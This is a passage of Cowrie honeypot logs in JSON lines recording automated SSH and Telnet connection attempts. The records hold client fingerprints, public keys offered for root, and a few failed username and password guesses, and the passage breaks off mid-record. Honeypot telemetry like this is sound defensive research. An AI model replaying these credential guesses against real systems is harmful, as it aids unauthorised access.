{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:2d:72:a3:a4:28:56:8f:2e:06:3c:77:1a:86:48:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3oocS95cu3a+bV/lxQPV7Nnba0p9AZaKZKGHYmp7V791x3qapSXGcQIwJ70iEOxKO/eqrEIwO5joAcB+QNtqnVOd+syslK/WminjP7ZYbG+3Y4Xm8gUNrL31n50sJFscs/xaoJvisZWrzh3GgJa2blHsfjGAqtpMCFBmF7yTsNGC0wHmr34jyeak7hI85M7iXjr/hIvDIqKFIWyFF566zfRie8/uXciPnIGRucBXlQQuhBx99/ZeShKVK/okhCM+ZyiLnOBt9qmF6JYn4cgQ4Os+HUmvLYYntSKP4AclY7G1iycrZZJaMB4+mrIq9chTvbUQN0BhQ2paxTibEh4mG1YVBHz+3VGfJJd8+hLMpwOOMibc9PTmuKoATwa+lv8JEv09/MLFU14OrfyTVw3POuKPkc6e04JqKIv+4DR+1KtqudX2qkcJ2aUh73vzAz6d5wZFSTra/RiCH38EaxhxK8x12GMYJ06fmnuUqL60a2c0Xa+QG8/BvYhuBhe1qzA8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:2d:72:a3:a4:28:56:8f:2e:06:3c:77:1a:86:48:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:19.064998Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:2d:72:a3:a4:28:56:8f:2e:06:3c:77:1a:86:48:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3oocS95cu3a+bV/lxQPV7Nnba0p9AZaKZKGHYmp7V791x3qapSXGcQIwJ70iEOxKO/eqrEIwO5joAcB+QNtqnVOd+syslK/WminjP7ZYbG+3Y4Xm8gUNrL31n50sJFscs/xaoJvisZWrzh3GgJa2blHsfjGAqtpMCFBmF7yTsNGC0wHmr34jyeak7hI85M7iXjr/hIvDIqKFIWyFF566zfRie8/uXciPnIGRucBXlQQuhBx99/ZeShKVK/okhCM+ZyiLnOBt9qmF6JYn4cgQ4Os+HUmvLYYntSKP4AclY7G1iycrZZJaMB4+mrIq9chTvbUQN0BhQ2paxTibEh4mG1YVBHz+3VGfJJd8+hLMpwOOMibc9PTmuKoATwa+lv8JEv09/MLFU14OrfyTVw3POuKPkc6e04JqKIv+4DR+1KtqudX2qkcJ2aUh73vzAz6d5wZFSTra/RiCH38EaxhxK8x12GMYJ06fmnuUqL60a2c0Xa+QG8/BvYhuBhe1qzA8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:19.069380Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:03:1f:1e:12:41:69:ab:03:9b:b0:fe:6b:08:5e:00","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJe/s3dKtIxRkUv04Jq4SvGWWJO1EkXcZ8l7jC7CaVleKsvDtlEGLxNFKuEIFr13BouZzdR0q+V5NE7N0zi4sXgQhskHM0lZTQq14NqGl+0m7oJsKzRq3Ao0DOmbe4WyLA5e9G4/1X6c7mS+Pp7vQKoVqLVBS6m68fbKmmznzMthAAAAFQDpy1ew/gdnP1pe7m/se7zZPmKkMwAAAIAfM2VJWEs6klgD8EwXtXUlu2o2desSyGMVtzXTQTWq9iFjWiwesxSeDd09phCBirGL2yXjracvKEFoG8sBj3DQFHe9L5qFjb3+fV+FjiKZ9Csk/fNWnJ2v8nlToyhDGUI1mlO/WjViZYsvIyiasyWhnn//Alp2pQMJxdshqYdthAAAAIAfGHgOx9B0W7m5umJ56FV7Gy51eFbnVI/RfBjB8bPmVxRAC2egjUzV0RfopOiU0ye087IAUeueeNWrOTUfCSOsx49eoWAEAZGifzB51rqTVAJ1yHCCOnpOLxG7XxaEAVsLtZYzsgivTjzMsWPgjE1rShBBfNXkZPmQr+u9zcG2FQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 1e:03:1f:1e:12:41:69:ab:03:9b:b0:fe:6b:08:5e:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:19.115078Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:03:1f:1e:12:41:69:ab:03:9b:b0:fe:6b:08:5e:00","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJe/s3dKtIxRkUv04Jq4SvGWWJO1EkXcZ8l7jC7CaVleKsvDtlEGLxNFKuEIFr13BouZzdR0q+V5NE7N0zi4sXgQhskHM0lZTQq14NqGl+0m7oJsKzRq3Ao0DOmbe4WyLA5e9G4/1X6c7mS+Pp7vQKoVqLVBS6m68fbKmmznzMthAAAAFQDpy1ew/gdnP1pe7m/se7zZPmKkMwAAAIAfM2VJWEs6klgD8EwXtXUlu2o2desSyGMVtzXTQTWq9iFjWiwesxSeDd09phCBirGL2yXjracvKEFoG8sBj3DQFHe9L5qFjb3+fV+FjiKZ9Csk/fNWnJ2v8nlToyhDGUI1mlO/WjViZYsvIyiasyWhnn//Alp2pQMJxdshqYdthAAAAIAfGHgOx9B0W7m5umJ56FV7Gy51eFbnVI/RfBjB8bPmVxRAC2egjUzV0RfopOiU0ye087IAUeueeNWrOTUfCSOsx49eoWAEAZGifzB51rqTVAJ1yHCCOnpOLxG7XxaEAVsLtZYzsgivTjzMsWPgjE1rShBBfNXkZPmQr+u9zcG2FQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:19.119271Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:02:87:64:90:39:b5:7e:a2:f1:f1:2d:0c:64:a4:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjIg6N3pig2vwjew87urUItcRhf3VmIplrJp4tqfilFBIqqO2FwuZDWzgd7qsmp/pMzEVZUqCWt1FzsoUAa2Tq/ocOdUAdzfZz716WAtm30y9H/yb8I2jSPPp1ysPkQnqGfj5T0JqGZZLLPhnYPpuYRFi+gA2eRS0RwEARXqemzRwvA/W2SjJwraVMBRUU01E5cowc/ZJstDi7ErayrY8YD+Yx1cNM0HM2UbceSKyxi6syGd8C+nFYkbZiLTjdrQXDsVMU2wDop5/s3sNILt0RrUXfw9tTQ+z4e9FVStGbjn4J+QpY1OiO6+1UcLx4813TZb6upFxD9FGn2/IjjtYH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:02:87:64:90:39:b5:7e:a2:f1:f1:2d:0c:64:a4:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:19.165337Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:02:87:64:90:39:b5:7e:a2:f1:f1:2d:0c:64:a4:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjIg6N3pig2vwjew87urUItcRhf3VmIplrJp4tqfilFBIqqO2FwuZDWzgd7qsmp/pMzEVZUqCWt1FzsoUAa2Tq/ocOdUAdzfZz716WAtm30y9H/yb8I2jSPPp1ysPkQnqGfj5T0JqGZZLLPhnYPpuYRFi+gA2eRS0RwEARXqemzRwvA/W2SjJwraVMBRUU01E5cowc/ZJstDi7ErayrY8YD+Yx1cNM0HM2UbceSKyxi6syGd8C+nFYkbZiLTjdrQXDsVMU2wDop5/s3sNILt0RrUXfw9tTQ+z4e9FVStGbjn4J+QpY1OiO6+1UcLx4813TZb6upFxD9FGn2/IjjtYH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:19.171248Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:c0:67:2a:9a:1e:e5:a3:35:12:7c:13:a9:ed:4e:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCopHKeA2P8R315cJ0h8JGTJozLeys8TMbTjbrpRTNMLX/OXo2iyL/uLZlTT25AlW7XkcPOUFG2b7WcMO37IcH3RrpqvMrVTQ4SOBSxm4UfiPHUEZVtIxIpde8VVvHcw6LrW+/gajUQAhX5iEDowhj5gtDn7iDy1QWZZvr6yzoOa3Sbu/zq4alXOWCnJR3F8bjKvfRZG9xHTLeKp/GA8daFAXewfsrJHAWa+dTgAU24/gJ9uc8XA/LQFlxSVu4lhdRHCT6mk8P7G/wcIsWwJpiQUBu7XhPiBp5tO1GsJAC0n47dzMe710M21X9WOhUPkQKZaLcp9OxqspCaElXfwTmK9ZkB9N7za/E+LeQDn1NoFHurtfeYst/0sr9l7pWKqZFdU+29TJM8iHcA0DZP99wMkKUEUbReL6vTw+G8rMDXXwVV4ZWoTZFpXB73N/NZF+/vUrYzngbdaigb9bI5Wr/3g6JpxeZPaLTcipixOKLvh1k4PbSP/NFXiAFmdqQu+Jnq9/r2x7lWOlP/F0WjR+ggnS/PMXxaakmjTSjcJOqUrDHnq5xZo9oKP8FtI5a3qPriJnjvrSfaDyJebOIKp58DMPurcXZjmihyzcgYZQaCWKenXbgKExs1kYOxnIMW3/HQj8/r2gciS5km13Y2Cd+284U9bkZWzlFO8D1DoW0pOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:c0:67:2a:9a:1e:e5:a3:35:12:7c:13:a9:ed:4e:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:19.216338Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:c0:67:2a:9a:1e:e5:a3:35:12:7c:13:a9:ed:4e:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCopHKeA2P8R315cJ0h8JGTJozLeys8TMbTjbrpRTNMLX/OXo2iyL/uLZlTT25AlW7XkcPOUFG2b7WcMO37IcH3RrpqvMrVTQ4SOBSxm4UfiPHUEZVtIxIpde8VVvHcw6LrW+/gajUQAhX5iEDowhj5gtDn7iDy1QWZZvr6yzoOa3Sbu/zq4alXOWCnJR3F8bjKvfRZG9xHTLeKp/GA8daFAXewfsrJHAWa+dTgAU24/gJ9uc8XA/LQFlxSVu4lhdRHCT6mk8P7G/wcIsWwJpiQUBu7XhPiBp5tO1GsJAC0n47dzMe710M21X9WOhUPkQKZaLcp9OxqspCaElXfwTmK9ZkB9N7za/E+LeQDn1NoFHurtfeYst/0sr9l7pWKqZFdU+29TJM8iHcA0DZP99wMkKUEUbReL6vTw+G8rMDXXwVV4ZWoTZFpXB73N/NZF+/vUrYzngbdaigb9bI5Wr/3g6JpxeZPaLTcipixOKLvh1k4PbSP/NFXiAFmdqQu+Jnq9/r2x7lWOlP/F0WjR+ggnS/PMXxaakmjTSjcJOqUrDHnq5xZo9oKP8FtI5a3qPriJnjvrSfaDyJebOIKp58DMPurcXZjmihyzcgYZQaCWKenXbgKExs1kYOxnIMW3/HQj8/r2gciS5km13Y2Cd+284U9bkZWzlFO8D1DoW0pOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:19.222295Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:19.267712Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.214.239.57","src_port":15848,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c2f9ec866fc","protocol":"telnet","message":"New connection: 197.214.239.57:15848 (10.17.0.5:23) [session: 4c2f9ec866fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:24.593638Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":47008,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc6c28cd0667","protocol":"ssh","message":"New connection: 193.32.162.145:47008 (10.17.0.5:22) [session: cc6c28cd0667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:32.091704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:32.097309Z","src_ip":"193.32.162.145","session":"cc6c28cd0667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:32.193955Z","src_ip":"193.32.162.145","session":"cc6c28cd0667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ssolana","message":"login attempt [sol/ssolana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:32.668600Z","src_ip":"193.32.162.145","session":"cc6c28cd0667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:33.780628Z","src_ip":"193.32.162.145","session":"cc6c28cd0667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.211588859558105,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:36.805097Z","src_ip":"197.214.239.57","session":"4c2f9ec866fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36048,"dst_ip":"10.17.0.5","dst_port":22,"session":"2307a2f0863f","protocol":"ssh","message":"New connection: 103.15.226.202:36048 (10.17.0.5:22) [session: 2307a2f0863f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:37.176034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:37.180786Z","src_ip":"103.15.226.202","session":"2307a2f0863f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:41.829237Z","src_ip":"103.15.226.202","session":"2307a2f0863f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasxcq23e@#%X3e","message":"login attempt [root/asdasxcq23e@#%X3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:45.452698Z","src_ip":"103.15.226.202","session":"2307a2f0863f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:46.760664Z","src_ip":"103.15.226.202","session":"2307a2f0863f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.246.87.54","src_port":52312,"dst_ip":"10.17.0.5","dst_port":22,"session":"e27b54a5b1b9","protocol":"ssh","message":"New connection: 92.246.87.54:52312 (10.17.0.5:22) [session: e27b54a5b1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:11.936822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:11.941906Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.034722Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:ec:4b:eb:67:14:08:88:44:61:de:3a:f3:d4:f4:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9gZs5nJRY2jtsWLd5pHiPIu9tRlo9It2TeejbCY74UoTVtUVFihtM/5cn+R6jwAOThSM4xWFOL4GaWWDZWHZ3bp0dsf4RV5H9P0Xf4dTtYUu0gxfhdkpXDFNFo/Te8zknK67rK1hptZMqI0JKZTmO5ACL6FWZFdQ7hOK26eqb2xwZaQO/9zk/aibr2OyKrseAu/6t3NUevTK0DFVD0mNsVdXDMOqa3CuHoOFFOwsa6reEB7b1ovwWBD+QFIynv5nlBryOfQlxx4GnHPlClDjwu6ligR9zFo6pTiR6wGlb4edMK63wnDAG3gfju5TvROleT1tESpVF1k5M2NWhUK1p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:ec:4b:eb:67:14:08:88:44:61:de:3a:f3:d4:f4:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.447406Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:ec:4b:eb:67:14:08:88:44:61:de:3a:f3:d4:f4:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9gZs5nJRY2jtsWLd5pHiPIu9tRlo9It2TeejbCY74UoTVtUVFihtM/5cn+R6jwAOThSM4xWFOL4GaWWDZWHZ3bp0dsf4RV5H9P0Xf4dTtYUu0gxfhdkpXDFNFo/Te8zknK67rK1hptZMqI0JKZTmO5ACL6FWZFdQ7hOK26eqb2xwZaQO/9zk/aibr2OyKrseAu/6t3NUevTK0DFVD0mNsVdXDMOqa3CuHoOFFOwsa6reEB7b1ovwWBD+QFIynv5nlBryOfQlxx4GnHPlClDjwu6ligR9zFo6pTiR6wGlb4edMK63wnDAG3gfju5TvROleT1tESpVF1k5M2NWhUK1p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.451434Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:7d:83:d9:bd:f8:e5:78:d2:96:54:99:43:33:5f:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTSx6EDHLT/xz/+Kmu3lNt25FVu2y1u9r3JdJAyYF6fYREHkw/adSP8APgZWu3MSmLDUVjgVeOmMTQXmJzAi03pzv4PrhOuygX1UKvSXr2gfuFbMmC3oPZMmAEXpLRO9SuRrQxA4Q0F8ECWUghoT+kMFJgPRA/kYfP/xSqPeY30sTC70ztFYxQl8U6FB/LZcboxwyAqFA8mSyaIf90tlhg5/zeUfVyCtS/L1SIUrymVFs7XDrA1Mq/SEYH2e+gsCb+eHWlpkqnOE+JqyDDBsf84AiPIUsyr1wIWjPZTMQCEyJsGiLiiRrKBU0d2OIBhBl77Q34nl5z7M6oBwFBvV6jjbNxSDfn2f5ZdtEl6iVlo0HJhfMq6ypiuiHfhCDjs1Mfgxz5MLwq+liKmgqsCIyuUAvTSdDUO1sJmdCTQAv2kVcaaaPOzzDA/PjNzIpTDlj3RfXMWV4OKtJK0r/KSdnQsvhjqL9r95GV6t4rhsYcC5phwbJ5CCJ08GY9YylbFj5Rj5hmYV/l+WkrB2uRgmgBLsXV58/uc+p18tEVvFgagUBm3TAq1i5V03xoqgdhwk2UfIXRm1Gt7m+/pG7VOEW1JnHwbQKfaJLvI4qbq8MTAIAqfG2/LFlTeFbBpkAtiL6NNO68RbLRXX9j4ddPgANDG6xXAdg/upckL33P0Qjn5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:7d:83:d9:bd:f8:e5:78:d2:96:54:99:43:33:5f:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.538892Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:7d:83:d9:bd:f8:e5:78:d2:96:54:99:43:33:5f:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTSx6EDHLT/xz/+Kmu3lNt25FVu2y1u9r3JdJAyYF6fYREHkw/adSP8APgZWu3MSmLDUVjgVeOmMTQXmJzAi03pzv4PrhOuygX1UKvSXr2gfuFbMmC3oPZMmAEXpLRO9SuRrQxA4Q0F8ECWUghoT+kMFJgPRA/kYfP/xSqPeY30sTC70ztFYxQl8U6FB/LZcboxwyAqFA8mSyaIf90tlhg5/zeUfVyCtS/L1SIUrymVFs7XDrA1Mq/SEYH2e+gsCb+eHWlpkqnOE+JqyDDBsf84AiPIUsyr1wIWjPZTMQCEyJsGiLiiRrKBU0d2OIBhBl77Q34nl5z7M6oBwFBvV6jjbNxSDfn2f5ZdtEl6iVlo0HJhfMq6ypiuiHfhCDjs1Mfgxz5MLwq+liKmgqsCIyuUAvTSdDUO1sJmdCTQAv2kVcaaaPOzzDA/PjNzIpTDlj3RfXMWV4OKtJK0r/KSdnQsvhjqL9r95GV6t4rhsYcC5phwbJ5CCJ08GY9YylbFj5Rj5hmYV/l+WkrB2uRgmgBLsXV58/uc+p18tEVvFgagUBm3TAq1i5V03xoqgdhwk2UfIXRm1Gt7m+/pG7VOEW1JnHwbQKfaJLvI4qbq8MTAIAqfG2/LFlTeFbBpkAtiL6NNO68RbLRXX9j4ddPgANDG6xXAdg/upckL33P0Qjn5Q==","type":"ssh-rsa","message":"public key login attempt for [root] 